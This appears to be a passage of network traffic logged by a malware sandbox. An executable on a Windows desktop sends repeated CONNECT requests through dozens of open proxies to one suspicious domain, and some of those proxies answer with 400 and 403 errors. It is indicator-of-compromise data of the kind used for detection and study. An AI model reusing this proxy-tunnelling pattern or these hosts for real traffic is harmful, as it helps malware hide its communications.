Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1609	192.168.2.4	54317	92.204.136.149	12570	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.118204117 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1610	192.168.2.4	54578	103.152.112.167	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.132025003 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.286487103 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.23.2 Date: Fri, 23 Feb 2024 08:45:29 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 33 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.23.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1611	192.168.2.4	53577	47.184.139.206	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.160919905 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.296175957 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1612	192.168.2.4	52326	94.23.252.168	9180	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.161067963 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.147023916 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1613	192.168.2.4	54252	51.91.13.215	55637	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.169248104 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.179084063 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.365937948 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1614	192.168.2.4	54261	195.30.84.54	34090	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.169250965 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.249489069 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.334913015 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1615	192.168.2.4	54566	36.67.14.195	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.173664093 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.974972010 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1616	192.168.2.4	52189	173.249.20.84	52100	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.175019979 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.179096937 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.365940094 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:41.365958929 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:53.381197929 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:05.381141901 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:17.459306002 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1617	192.168.2.4	54326	161.97.170.209	2296	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.175286055 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.249538898 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.334939957 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1618	192.168.2.4	52430	209.145.56.51	36195	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.175436974 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1619	192.168.2.4	52297	79.143.187.58	17905	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.179074049 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.179177999 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1620	192.168.2.4	54640	172.67.219.60	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.179753065 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.268560886 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:29 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1621	192.168.2.4	54251	188.132.222.70	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.179958105 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.428678989 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1622	192.168.2.4	54634	103.113.71.230	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.180217028 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.647001028 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.240875959 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.334589958 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.443996906 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.647090912 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.740911961 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1623	192.168.2.4	54444	92.205.61.38	48664	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.180413961 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.834399939 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1624	192.168.2.4	54580	203.89.8.107	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.205614090 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.943871975 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.071399927 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.0 Date: Fri, 23 Feb 2024 08:45:30 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1625	192.168.2.4	54588	182.106.220.252	9091	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.205909967 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.568243980 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.1 Date: Fri, 23 Feb 2024 08:45:51 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1626	192.168.2.4	54455	195.177.217.131	33721	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.241933107 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.365761042 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1627	192.168.2.4	54382	185.158.114.14	26586	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.254662037 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1628	192.168.2.4	54624	125.122.26.242	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.262141943 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1629	192.168.2.4	53597	175.183.82.221	8193	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.262821913 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1630	192.168.2.4	54271	47.100.207.117	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.312000036 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.650377035 CET	590	IN	HTTP/1.1 400 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 435 Date: Fri, 23 Feb 2024 08:45:28 GMT Connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 30 20 e2 80 93 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 30 20 e2 80 93 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 400 Bad Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 Bad Request</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1631	192.168.2.4	54627	103.164.106.98	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.312055111 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1632	192.168.2.4	54625	124.70.78.157	8000	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.312165976 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1633	192.168.2.4	54633	45.177.80.210	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.336785078 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1634	192.168.2.4	54652	104.17.239.10	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.362560987 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.450330973 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:29 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1635	192.168.2.4	54657	104.19.5.247	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.369918108 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.457426071 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:29 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1636	192.168.2.4	54448	196.223.129.21	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.379277945 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.365838051 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.366323948 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1637	192.168.2.4	54433	103.57.211.92	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.379992962 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.377521992 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.443937063 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1638	192.168.2.4	54651	192.252.216.81	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.389036894 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1639	192.168.2.4	54375	1.15.62.12	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.389103889 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1640	192.168.2.4	54209	117.160.250.163	81	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:29.420993090 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.009712934 CET	221	IN	HTTP/1.1 403 Access Denied Date: Fri, 23 Feb 2024 08:45:29 GMT Connection: close Cache-Control: no-store Content-Type: text/html Content-Language: en Content-Length: 43 Data Raw: 59 6f 75 20 61 72 65 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 2e Data Ascii: You are not allowed to access the document.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
